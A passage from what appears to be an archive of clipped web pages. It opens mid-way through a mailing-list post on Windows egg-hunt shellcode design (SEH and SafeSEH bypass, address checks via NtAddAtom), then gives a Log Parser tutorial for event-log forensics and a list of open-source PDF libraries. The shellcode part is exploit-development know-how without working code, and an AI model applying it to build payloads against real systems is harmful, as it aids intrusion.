    Other design goals are speed - searching all of memory can take some
    time, and the more time goes by the more likely the process being
    searched is to crash or otherwise misbehave. Likewise, failing to
    provide an exit for the shellcode reduces size slightly but sometimes
    produces error conditions if the shellcode never finds the main payload,
    and simply loops forever at 100% CPU. This tends to alert targets that
    something is wrong.
    
    In Windows search shellcode you do not have the ability to use system
    functions and you can only use system calls that do not change (your
    shellcode may be restricted to some useful subset of Windows versions).
    
    The basic strategy originally was to create an SEH handler - this
    essentially emulated the code of IsBadReadPtr() to look through all of
    memory, but later versions of Windows (i.e. XP SP2->3) required some
    trickery to bypass SafeSEH restrictions. Even more modern versions of
    Widnows (Vista/2008/7) have effectively disabled this technique. This is
    the technique you can read about in excruciating depth in the
    Shellcoder's Handbook. (I wrote this, now obsolete, chapter so the code
    you see in the book is cut and paste out of CANVAS.)
    
    Unix exploit developers were already publishing shellcodes that did
    their searching using system calls to have the kernel validate shellcode
    addresses. You can see Matt Miller writing about using NtDisplayString()
    for this purpose on Windows back in 2004 [1]. CANVAS's modern Win32
    search shellcode (and I assume others'?) uses NtAddAtom()[2] to validate
    the readability of an address.
    
    This technique results in smaller and more compatible shellcode than the
    SEH technique, but as Alex Sotirov has (on Twitter) complained of, is
    adding lots of Atoms to the internal Kernel tables. (The maximum number
    of new additional Atoms in the CANVAS shellcode is == the number of
    readable pages in the process - possibly some other shellcodes are using
    a per-byte or per-dword check? Likewise, NT should be fine with very
    large numbers of Atoms. Be interesting to know what the top limit is
    there). We've not seen a lot of instability related to this, but
    anything is possible in Windows-land.
    
    Other possibilities for search-shellcode are endless - for example,
    parsing the heap structures themselves or searching through the freelist
    (most of the time the shellcode is on the heap and often you have enough
    control to place your shellcode on a specific freelist slot),
    constructing big payloads from tiny fragments[3], optimizing for
    reliability by doing checksums (many corrupted copies of your shellcode
    often exist on the heap), parsing the PE header and calling
    IsBadReadPtr(), disabling SafeSEH (without the use of VirtualProtect()
    :>_) and using the older SEH style code, or a thousand other things, like_ so many different seashells on the beach.
    
    - -dave
    
    [1] http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
    [2]
    http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Atoms/NtAddAtom.html
    [3]
    http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.4.9 (GNU/Linux)
    Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org
    
    iEYEARECAAYFAkszPjMACgkQtehAhL0ghepuwACZAZxBP7G2pMPu0ijj6u57G1y1
    axgAmwS+Q1Bf2mdJ/MOS6YyzFBLobALh
    =tSRj
    -----END PGP SIGNATURE-----
[/code]

# Mash That Key: Crafting Queries and Extracting Data from Event Logs using
Microsoft Log Parser

**Created:**| _12/8/2015 10:47:10 AM_  
---|---  
**Updated:**| _12/8/2015 10:47:10 AM_  
**Author:**| __  
**Tags:**| __  
  

# Crafting Queries and Extracting Data from Event Logs using Microsoft Log
Parser

During a recent engagement, while hunting for threats in a client's
environment, I got tasked with having to analyze over a terabyte worth of
security \(Security.evtx\) event logs. A terabyte worth of logs amounts to, a
lot of logs. We are talking close to a thousand logs, each containing
approximately 400,000 events from dozens of Windows servers, including
multiple domain controllers. Did I say, a lot of logs?

Unfortunately, this wasn't the only task of the engagement, so I needed to go
through these logs and I needed to do it quickly. I needed to do it quickly
because like in most engagements, time is against you.

When you only have a few logs to look at, one of my tools of choice on the
Windows side is Event Log Explorer. Event Log Explorer is great. It is a
robust, popular, GUI tool with excellent filtering capabilities. On the Linux
side, I have used Log2timeline to convert dozens of evtx files to CSV and then
filter the CSV file for the data that I was looking for. But this was another
animal, a different beast. This beast needed a tool that could parse a very
large amounts of logs and have the ability to filter for specific events
within the data. The answer to the problem came in the form of a tiny tool
simply called Log Parser.

Log Parser is a free tool designed by Microsoft. You can download the tool
here. According to the documentation from the site the tool is described in
this manner. “Log Parser is a powerful, versatile tool that provides universal
query access to text-based data such as log files, XML files and CSV files.”
That one-liner perfectly sums up why the tool is so powerful, yet not as
popular as other tools. Log parser provides query access to data. What does
that mean? This means that if you want to parse data with this tool you have
to be somewhat comfortable with the Structured Query Language \(SQL\). The
tool will only cough up data if it is fed SQL like queries. The use of SQL
like queries for filtering data is what gives the tool its power and control,
while at the same time becoming a stopping point and a deal breaker for anyone
not comfortable with SQL queries.

The purpose of this article is to attempt to explain the basic queries
required to get you started with the tool and in the process show the power of
the tool and how it helped me make small rocks out of big rocks.

**Installing the Tools:**

The tool is downloaded from here in the form of an msi. It installs using a
graphical installation, very much like many other tools. Once installed the
tool runs from the command line only. For the purposes of the article, I will
be using a security log extracted from a Windows Server 2008R2 Domain
Controller that I own, and use for testing such as this. If you want to follow
along, you can extract the Security.evtx log from a similar server or even
your Windows 7 machine. The log is located under
\Windows\System32\winevt\Logs.

**The Test:**

Log Parser is a command line only utility. To get started open up a command
prompt and navigate to the Log Parser installation directory located under
C:\Program Files \(x86\)\Log Parser 2.2.

<img src='img/Temp2_5224.png' />

The security log that I will be using for the write-up is called LosDC.evtx.
The log contains exactly 5,731 entries. It is not a large log, but it contains
the data that we need to illustrate the usage of the tool. I extracted the log
and placed it on my Windows 7 examination machine in a directory on the
Desktop called “Test.”

<img src='img/Temp2_5231.png' />

Now, the most basic SQL query that one can run looks something like this. It
is called a select statement. “select \* from LosDC.evtx” The ‘select’, as you
suspected, selects data that matches your criteria from the columns in your
log. In this instance we are not doing any matching yet, we are simply telling
the tool to select everything by using an asterisk “\*” from the LosDC.evtx
log. The tool needs to know what kind of file it is looking at. You tell the
tool that is it reading data from an event log with the -i:evt parameter, like
so:

**LogParser.exe "select \* from C:\Users\carlos\Desktop\Test\LosDC.evtx"
-i:evt**

<img src='img/Temp2_5230.png' />

This query will send the first 10 lines of the file to standard output. A lot
of data is going to be sent to the screen. It is very difficult to make any
use of this data at this point. The only positive that can come from this
command is that you can begin to see the names of the columns in the event log
like “TimeGenerated”, “EventID”, and so on.

An easier way to see the columns in the event log is by using the datagrid
output feature, which sends the data to a GUI, like so:

**LogParser.exe "select \* from C:\Users\carlos\Desktop\Test\LosDC.evtx"
-i:evt -o:datagrid**

<img src='img/Temp2_5225.png' />

Thanks to the GUI it is now easier to see the TimeGenerated and EventID
columns. Also, I want to point out the “Strings” column, which contains data
that is very valuable to us. The majority of the important data that we are
after is going to be contained in this column. So let us take a closer look at
it.

If we build upon our last query and we now replace the asterisk "\*" with the
name of a specific column, the tool will now send the data matching our
criteria to standard output, like so:

**LogParser.exe "select strings from C:\Users\carlos\Desktop\Test\LosDC.evtx"
-i:evt**

<img src='img/Temp2_5226.png' />

Notice that the tool is now displaying only the information that is found in
the strings column. The data is displayed in a delimited format. The data is
being delimited by pipes. Field number 5 contains the username of the account,
field number 8 contains the Log-On type, and field number 18 contains the
source IP of the system that was used to authenticate against the domain
controller.

You have probably seen this data displayed in a prettier manner by Event Log
Explorer.

<img src='img/Temp2_5228.png' />

Yet, is in fact the same data, and Log Parser has the ability to extract this
data from hundreds of log files quickly and efficiently. But to accomplish
this we have to continue adding to our query. In my recent case I was looking
for the username, the log-on type, and source IP of all successful logins. As
mentioned earlier, this data was being stored in field 5, field 8, and field
18 of the Strings column. To extract that data we need to craft a query that
could extract these specific fields from the Strings column. To accomplish
that, we have to introduce a Log Parser function called extract\_token. The
extract\_token function gives Log Parser the ability to extract data from
delimited columns like the Strings column.  
To extract the data from the fifth delimited field in the strings column we
need to add this to our query:

**extract\_token\(strings,5,'|'\) AS User**

Let me break this down, extract\_token is the function. We open parenthesis
and inside of the parenthesis we tell the function to go into the strings
column and pull out the fifth field that is delimited by a pipe “|” and then
we close parenthesis. “AS User” is used so that once the data is pulled out of
the Strings column, it is displayed in a new column with the new name of
“User”. It is like telling the function “Hey, display this as 'User'.”

To pull the data from the eighth field in the Strings column, we use this
function:

**extract\_token\(strings,8,'|'\) AS LogonType**

And finally to pull the data from the eighteenth field in the Strings column,
we use this function:

**extract\_token\(strings,18,'|'\) AS SourceIP**

We put it all together with the following query:

**LogParser.exe "select TimeGenerated, EventID,
extract\_token\(strings,5,'|'\) AS User, extract\_token\(strings,8,'|'\) AS
LogonType, extract\_token\(strings,18,'|'\) AS SourceIP into
C:\Users\carlos\Desktop\Test**

**\LosDC\_4624\_logons.csv from C:\Users\carlos\Desktop\Test\LosDC.evtx where
eventid in \(4624\) " -i:evt -o:csv**

<img src='img/Temp2_5232.png' />

The select statement is now selecting the TimeGenerated and EventID columns,
followed by the three extract\_token functions to pull the data from the
Strings column. Into is an optional clause that specifies that the data be
redirected to a file named LosDC\_4624\_logons.csv in the Test directory. From
specifies the file to be queried, which is the LosDC.evtx log. Where is also
an optional clause which specifies data values to be displayed based on the
criteria described. The criteria described in this query is 4624 events
contained in the eventid column. The -o:csv is another output format like the
datagrid, except this one sends the data to a csv file rather than a GUI.

This is an example of what you can gather from the resulting CSV file. This is
what you would see if you were to sort the data in the CSV file by user.

<img src='img/Temp2_5233.png' />

<img src='img/Temp2_5229.png' />

Notice the times, and source IP that was used by user “larry” when he used the
RDP protocol \(Logon Type 10\) to remotely log-in to his system.

Cool, Right?

I want to point out that this log only contained 5731 entries and that the
data redirected to the CSV file consisted of 1,418 lines. That data was parsed
and redirected in less than 0.2 seconds

<img src='img/Temp2_5223.png' />

That is another example of the power of the tool. Keep in mind that when you
are parsing gigabytes worth of logs, the resulting CSV files are going to be
enormous. Below is an explorer screenshot displaying the amount of security
event logs from one the servers in my case \(Server name has been removed to
protect the innocent\).

<img src='img/Temp2_5235.png' />

The sample data from that server was 40GB. It was made up of 138 files each
with approximately 416,000 records in each log.

The tool parsed all of that that data in only 23 minutes.

<img src='img/Temp2_5234.png' />

It searched 60 million records and created a CSV file with over 700,000 lines.
Although you can certainly open a CSV file with 700,000 lines in Excel or
LibreOffice Calc, it is probably not a good idea. Don't forget that you can
search the CSV file directly from the command prompt with find. Here is an
example of searching the CSV file for user "larry" to quickly see which
machines user "larry" used to authenticate on the Domain.

<img src='img/Temp2_5227.png' />

And there you have it\!

**Conclusion:**

This is a free and powerful tool that allows you to query very large amounts
of data from specific criteria contained within the tables of your many event
log files. If this procedure helped your investigation, we would like to hear
from you. You can leave a comment or reach me on twitter: @carlos\_cajigas

# Open Source PDF Libraries and Tools

**Created:**| _8/24/2014 7:56:47 PM_  
---|---  
**Updated:**| _8/24/2014 7:56:47 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis pdf_  
  

#  Open Source PDF Libraries and Tools

###  DocumentBurster

_DocumentBurster_ is a report distribution software which can burst reports
such as payslips, invoices or statements in order to break up and distribute
\(by email, web, file share, etc.\) relevant parts to each of your employees,
customers or partners.  
  
_DocumentBurster_ is a report distribution software which works with any
reporting software including _Crystal Reports_ , _Microsoft Access_ ,
_Microsoft SQL Server Reporting Services_ , _IBM Cognos_ , _Oracle Hyperion_
and _QlikView_.  
  
Using _DocumentBurster i_ t is easy to integrate report distribution and
report bursting capabilities into existing in-house built legacy software or
with systems like _SAP ERP_ , _Oracle Applications_ , _Sage_ , _Microsoft
Dynamics_ , _PeopleSoft_ , _JD Edwards_ , _MYOB_ or _QuickBooks_ accounting
software.  

##

##  Features

  * Automate high-volume document delivery to customers, vendors, employees and prospects.
  * Split reports and documents into personalized PDF files and e-mail them securely and reliably.
  * It has out of the box delivery targets like email and ftp. Email is referring to any SMTP compatible server including gmail and yahoo. 
  * It has command line support so it is easy to automate the bursting of reports. 

  
http://www.pdfburst.com/  
  

1 comment:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: burst, email, ftp, GPL, java, open source, pdf tool, split

###  Apache PDFBox

Apache PDFBox is an open source Java PDF library for working with PDF
documents. This project allows creation of new PDF documents, manipulation of
existing documents and the ability to extract content from documents. Apache
PDFBox also includes several command line utilities.  
  

##  Features

  

  * PDF to text extraction
  * Merge PDF Documents
  * PDF Document Encryption/Decryption
  * Lucene Search Engine Integration
  * Fill in form data FDF and XFDF
  * Create a PDF from a text file
  * Create images from PDF pages
  * Print a PDF

  
http://pdfbox.apache.org/

2 comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: Apache License v2.0, free, java, open source, pdf library

###  Apache FOP

Apache FOP \(Formatting Objects Processor\) is a print formatter driven by XSL
formatting objects \(XSL-FO\) and an output independent formatter. It is a
Java application that reads a formatting object \(FO\) tree and renders the
resulting pages to a specified output. Output formats currently supported
include PDF, PS, PCL, AFP, XML \(area tree representation\), Print, AWT and
PNG, and to a lesser extent, RTF and TXT. The primary output target is PDF.  
  
http://xmlgraphics.apache.org/fop/

2 comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: AFP, Apache License v2.0, AWT, free, java, open source, PCL, pdf
library, PNG, Print, PS, RTF, TXT, XML, xsl, xsl-fo

###  iText PDF

iText is a library that allows you to generate PDF files on the fly.  
  
iText is an ideal library for developers looking to enhance web- and other
applications with dynamic PDF document generation and/or manipulation. iText
is not an end-user tool. Typically you won't use it on your Desktop as you
would use Acrobat or any other PDF application. Rather, you'll build iText
into your own applications so that you can automate the PDF creation and
manipulation process.  
  
You can use iText to:  
  

  * Serve PDF to a browser
  * Generate dynamic documents from XML files or databases
  * Use PDF's many interactive features
  * Add bookmarks, page numbers, watermarks, etc.
  * Split, concatenate, and manipulate PDF pages
  * Automate filling out of PDF forms
  * Add digital signatures to a PDF file
  * And much more...

  
www.itextpdf.com

4 comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: AGPLv3, java, pdf library, Proprietary

###  iTextSharp

iTextSharp is a library that allows you to generate PDF files on the fly.
iTextSharp is a port of the iText, a free Java-Pdf library.  
  
http://itextsharp.sourceforge.net/

1 comment:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, AGPLv3, c\#, csharp, pdf library, Proprietary

###  PDFCreator

**PDFCreator** is an application for converting documents into Portable
Document Format \(PDF\) format on Microsoft Windows operating systems. Once
installed, it allows the user to select PDFCreator as their printer,
permitting almost any application to print to PDF.  
  
http://www.pdfforge.org/

1 comment:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: converter, creator, free, generator, ghostscript, GPL, open source,
pdf tool, printer, visual basic

###  Ghostscript

Ghostscript is an interpreter for the PostScript \(TM\) language. A PostScript
interpreter usually takes as input a set of graphics commands. The output is
usually a page bitmap which is then sent to an output device such as a printer
or display. PostScript is embedded in many printers.  
  
http://www.ghostscript.com/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, converter, distiller, free, ghostscript, GPL, open
source, pdf library, pdf tool, PS

###  pdftk

If PDF is electronic paper, then pdftk is an electronic staple-remover, hole-
punch, binder, secret-decoder-ring, and X-Ray-glasses. Pdftk is a simple tool
for doing everyday things with PDF documents. Keep one in the top drawer of
your desktop and use it to:  

  *   
Merge PDF Documents  

  *   
Split PDF Pages into a New Document  

  *   
Rotate PDF Pages or Documents  

  *   
Decrypt Input as Necessary \(Password Required\)  

  *   
Encrypt Output as Desired  

  *   
Fill PDF Forms with FDF Data or XFDF Data and/or Flatten Forms  

  *   
Apply a Background Watermark or a Foreground Stamp  

  *   
Report on PDF Metrics such as Metadata, Bookmarks, and Page Labels  

  *   
Update PDF Metadata  

  *   
Attach Files to PDF Pages or the PDF Document  

  *   
Unpack PDF Attachments  

  *   
Burst a PDF Document into Single Pages  

  *   
Uncompress and Re-Compress Page Streams  

  *   
Repair Corrupted PDF \(Where Possible\)  

Pdftk allows you to manipulate PDF easily and freely. It does not require
Acrobat, and it runs on Windows, Linux, Mac OS X, FreeBSD and Solaris.  
  
http://www.accesspdf.com/pdftk/index.html

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, gcj, GPL, java, merge, open source, pdf tool, split

###  PDFsam

pdfsam is an open source tool \(GPL license\) designed to handle pdf files.
It’s released in 2 versions, basic and enhanced.  
  
**Requirements:**  
  
pdfsam branch 1: Java Virtual Machine 1.4.2 or higher  
pdfsam branch 2: Java Virtual Machine 1.6 or higher  
  
**pdfsam basic:**  
  
A simple tool designed to split and merge pdf files. With it’s simple and
intuitive interface you can:  

  * split your pdf documents \(into chapters, single pages, etc.\).
  * merge many pdf documents or subsections of them.
  * extract sections of your document into a single pdf document.
  * mix alternate pages taken from two pdf documents in straight or reverse order into a single document.
  * rotate pages of the selected pdf documents.
  * visually reorder pages of a selected pdf document.
  * visually compose a document dragging pages from selected pdf documents.
  * save and load your environment to automatize your recurrent jobs.
  * manage pdfsam settings and set an environment to load at start up.

**pdfsam enhanced:**  
  
This is the enhanced version of pdfsam. In this version you’ll find all the
basic features plus:  

  * encrypt your pdf files \(RC40 bits, RC128 bits, AES128 bits\) and set permissions on them.
  * add a pdf frontpage or an addendum \(or both\) to your pdf documents.
  * decrypt pdf documents.
  * extract attachments from your pdf documents.
  * set viewer options to a document to tell the viewer application how should open the document.
  * set the metadata of a document \(author, title, subject and keywords\).

http://www.pdfsam.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GPL, java, merge, open source, pdf tool, split

###  PDF Renderer

The PDF Renderer is all Java library which renders PDF documents to the screen
using Java2D. Typically this means drawing into a Swing panel, but it could
also draw to other Graphics2D implementations.  
  
http://java.net/projects/pdf-renderer

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GNU Library or Lesser General Public License \(LGPL\), java,
open source, pdf library

###  PDF Clown

PDF Clown is a Java/.NET library for manipulating PDF files, with multiple
abstraction layers to satisfy different programming styles: from the lower
level \(PDF object model\) to the higher \(PDF document structure and content
streaming\).  
  
http://clown.stefanochizzolini.it/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), GPL, java, open source, pdf library

###  PJX

PJX is a general purpose PDF programming library for Java; with support for
reading, combining, manipulating, and writing PDF documents.  
  
http://www.etymon.com/epub.html

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GPL, java, open source, pdf library

###  JPedal

JPedal is an application for viewing and printing of pdf files. Features of
JPedal:  
  
\* JPedal supports a wide variety of different font technologies.  
\* Jpedal supports the following colour spaces: DeviceRGB, CalRGB, DeviceGRAY,
CalGRAY, ICC, indexed, DeviceCMYK and DeviceN.  
\* Jpedal also reads and displays raw tiff, jpg and gif file formats.  
\* Text can be extracted from an entire document, a single page, from within
page co-ordinates or from tables. Font information and metadata can also be
extracted.  
\* JPedal can extract any image from a pdf with a choice of output options.  
\* View, edit, print and extract content from interactive FDF forms.  
\* JPedal includes an interactive search function that allows you to search
either the current page or the entire pdf document for occurrences of a word
or a phrase.  
  
http://www.jpedal.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GPL, java, open source, pdf library, pdf tool, Print, view

###  PDFjet - Open Source Edition

A library for dynamic generation of PDF documents from Java and .NET.  
Create PDF documents and reports with just a few lines of Java or C\# code.  
  
http://pdfjet.com/index.html

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, BSD License, c\#, csharp, free, java, open source, pdf library

###  gnujpdf

gnujpdf is a Java package \(gnu.jpdf.\*\) licensed under the LGPL. It provides
a simple API to create pdf files and print using subclasses of
java.awt.Graphics and java.awt.PrintJob. The PDF classes write to an
OutputStream in pdf format instead of a typical Graphics object, but the
method calls are the same as they would be in any Applet or Application
drawing to a canvas.  
  
http://gnujpdf.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: free, GNU Library or Lesser General Public License \(LGPL\), java,
open source, pdf library

###  jPod

jPod is a mature PDF manipulation and rendering library. It supports COS and
PD level manipulation of PDF documents, AFM and TrueTypes fonts, incremental
writing of files, and parsing of files that slightly deviate from the
specification.  
  
http://sourceforge.net/projects/jpodlib/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: BSD License, free, java, open source, pdf library

###  Report.NET

Report.NET is a powerful library that will help you to generate PDF documents
in a simple and flexible manner. The document can be created with data that
have been retrieved from any ADO.NET data set. The Report.NET library is
available for free under the LGPL license.  
  
Features  
\- entirely written in C\# for the Microsoft .NET framework  
\- very compact code \(Hello World: 6 lines\)  
\- supported graphic objects: text, lines, rectangles, jpeg images  
\- easy alignment and transformation of graphic objects  
\- ASP.NET can generate dynamic PDF pages  
\- XML Documentation \(Comment Web Pages\)  
  
http://report.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library

###  PDFsharp

PDFsharp is the Open Source library that easily creates PDF documents from any
.NET language.The same drawing routines can be used to create PDF documents,
draw on the screen, or send output to any printer.  
  
http://www.pdfsharp.com/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library

###  SharpPDF

SharpPDF is a C\# library that implements different objects for the creation
of PDF documents with few steps. It is created for .NET framework 1.1 and it
can create 100% compatible PDF \(tested with Acrobat Reader, Ghostscript ,
JAWS PDF Editor and other PDF readers\). The most important goal of this
library is the simple way of use.  
It can be used in many ways:  
  

  * You can use it with Windows Forms to generate new pdf files or to save them on a database.
  * You can use it with Web Applications \(ASP.NET\) to generate files or to get them directly into the browser.

http://sharppdf.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library

###  ASP.NET FO PDF

FO PDF is similar to ASP.NET Server Controls, written in C\#.It takes
DataTable and few other params to generate the XSL FO and renders a DataGrid
like PDF Report using NFOP \(Apache FOP Port in J\#\) PDF Formatter.More tags
to generate XSL FO will be added.  
  
http://sourceforge.net/projects/npdf/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library

###  NFop

NFop is a Formatting Objects Processor \(FOP\) for XSL-FO that runs on the
.NET Framework. It is a port from the Apache XML Project's FOP Java source to
.NET's Visual J\#. This makes it great for pure .NET reporting modules.  
  
http://sourceforge.net/projects/nfop/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: .net, c\#, csharp, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library, XML, xsl, xsl-fo

###  Haru Free PDF Library

libHaru is a free, cross platform, open source library for generating PDF
files.  
  
It supports the following features:  
  

  * Generating PDF files with lines, text, images. 
  * Outline, text annotation, link annotation. 
  * Compressing document with deflate-decode. 
  * Embedding PNG, Jpeg images. 
  * Embedding Type1 font and TrueType font. 
  * Creating encrypted PDF files. 
  * Using various character sets \(ISO8859-1~16, MSCP1250~8, KOI8-R\). 
  * Supporting CJK fonts and encodings. 
  * You can add the feature of PDF creation by using HARU without understanding complicated internal structure of PDF. 

libHaru is written in ANSI C, so theoretically it supports most of the modern
OSes.  
  
http://libharu.org

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, open source, pdf library, zlib/libpng License

###  libpdfdoc

libpdfdoc is a library to access PDF \(Portable Document Format\). It provides
classes and functions for reading and writing to PDF files.  
  
Features  
  

  * read/write PDF files with the same API 
  * not much right now

http://libpdfxx.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf library

###  PoDoFo

The PoDoFo library is a free, portable C++ library. It can parse existing PDF
files and create new ones from scratch.  
  
http://podofo.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GNU Library or Lesser General Public License
\(LGPL\), open source, pdf library

###  Cairo

Cairo is a 2D graphics library with support for multiple output devices.
Currently supported output targets include the X Window System, Quartz, Win32,
image buffers, PostScript, **PDF** , and SVG file output. Experimental
backends include OpenGL \(through glitz\), XCB, BeOS, OS/2, and DirectFB.  
  
http://cairographics.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GNU Library or Lesser General Public License
\(LGPL\), Mozilla Public License, open source, pdf library

###  QPDF

QPDF is a C++ library and set of programs that inspect and manipulate the
structure of PDF files. It can encrypt and linearize files, expose the
internals of a PDF file, and do many other operations useful to end users and
PDF developers.  
http://qpdf.sourceforge.net/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: Artistic License, C CPlusPlus, free, open source, pdf library

###  Xpdf

**Xpdf** is an open source PDF viewer for the X Window System and Motif. Xpdf
runs on practically any Unix-like operating system. Xpdf can decode LZW and
read encrypted PDFs. The official version obeys the DRM restrictions of PDF
files, which may prevent copying, printing, or converting some PDF files.
There are patches which make Xpdf ignore these DRM restrictions.  
Xpdf includes several programs that don't require the X Window System,
including programs which extract images from PDF files or convert PDF to
PostScript or text. These programs run on DOS, Windows as well as Linux and
Unix.  
  
http://www.foolabs.com/xpdf/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf library, pdf reader, pdf
tool, pdf viewer, Proprietary

###  BePDF

BePDF is a PDF viewer for the BeOS, Haiku & Zeta.  
Besides viewing, it supports annotating and user-defined bookmarking for
unencrypted PDFs. It's fully localized for 20 languages at the moment with
additional languages being easily added via text files.  
  
http://bepdf.sourceforge.net/

1 comment:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf reader, pdf viewer, xpdf

###  ePDFView

ePDFView is a free lightweight PDF document viewer using Poppler and GTK+
libraries.  
The aim of ePDFView is to make a simple PDF document viewer, in the lines of
Evince but without using the Gnome libraries.  
  
http://trac.emma-soft.com/epdfview/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, GTK+, open source, pdf reader, pdf viewer,
Poppler, xpdf

###  Evince

Evince is a document viewer for multiple document formats. It currently
supports pdf, postscript, djvu, tiff and dvi. The goal of evince is to replace
the multiple document viewers that exist on the GNOME Desktop with a single
simple application.  
  
http://projects.gnome.org/evince/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, ghostscript, gnome, GPL, open source, pdf reader,
pdf viewer, Poppler, xpdf

###  gv

gv allows to view and navigate through PostScript and PDF documents on an X
display by providing a user interface for the  ghostscript interpreter.  
  
http://www.gnu.org/software/gv/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, ghostscript, GPL, open source, pdf reader, pdf
viewer

###  KPDF

**KPDF** is a free PDF reader based on Xpdf. It is integrated with the KDE
platform, so it embeds very well in Konqueror as KPart. Feature highlights:  

  * Three different ways of searching: find dialog, thumbnail filter and type-ahead find.
  * Capture images and text easily with kpdf by dragging a rectangle around what is desired to be captured.
  * Choosing the default background/text colors, like a CSS style sheet.
  * Ability to add bookmarks to pages.

http://kpdf.kde.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf reader, pdf viewer, xpdf

###  MuPDF

_MuPDF is a lightweight PDF viewer and toolkit written in portable C._  
The renderer in MuPDF is tailored for high quality anti-aliased graphics. It
renders text with metrics and spacing accurate to within fractions of a pixel
for the highest fidelity in reproducing the look of a printed page on screen.  
MuPDF has a small footprint. A binary that includes the standard Roman fonts
is only one megabyte. A build with full CJK support \(including an Asian
font\) is approximately five megabytes.  
MuPDF has support for all non-interactive PDF 1.7 features, and the toolkit
provides a simple API for accessing the internal structures of the PDF
document. Example code for navigating interactive links and bookmarks,
encrypting PDF files, extracting fonts, images, and searchable text, and
rendering pages to image files is provided.  
  
http://mupdf.com/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, ghostscript, GPL, open source, pdf reader, pdf
viewer

###  Okular

Okular is a universal document viewer based on KPDF for KDE 4.  
  
The last stable release is Okular 0.10, shipped in the kdegraphics module of
KDE SC 4.4.  
  
Okular combines the excellent functionalities of KPDF with the versatility of
supporting different kind of documents, like PDF, Postscript, DjVu, CHM, and
others.  
The document format handlers page has a chart describing in more detail the
supported formats and the features supported in each of them.  
  
http://okular.kde.org/

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, kpdf, open source, pdf reader, pdf viewer,
xpdf

###  Sumatra PDF

Sumatra PDF is a slim, free, open-source PDF viewer for Windows. Portable out
of the box.  
Sumatra has a minimalistic design. Simplicity has a higher priority than a lot
of features.  
It's small and starts up very fast.  
It's designed for portable use: only one file so you can run it from external
USB drive. Doesn't write to registry.  
  
http://blog.kowalczyk.info/software/sumatrapdf/index.html

No comments:

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: C CPlusPlus, free, GPL, open source, pdf reader, pdf viewer, xpdf

###  Vindaloo

A PDF Reader. It is currently under active development. Vindaloo runs under
Mac OS X and GNUstep. The OSX version that comes as a dmg-file does not
require installation of PopplerKit. For GNUstep, you need to download and
compile PopplerKit first.  
  
http://home.gna.org/gsimageapps/

No comments:

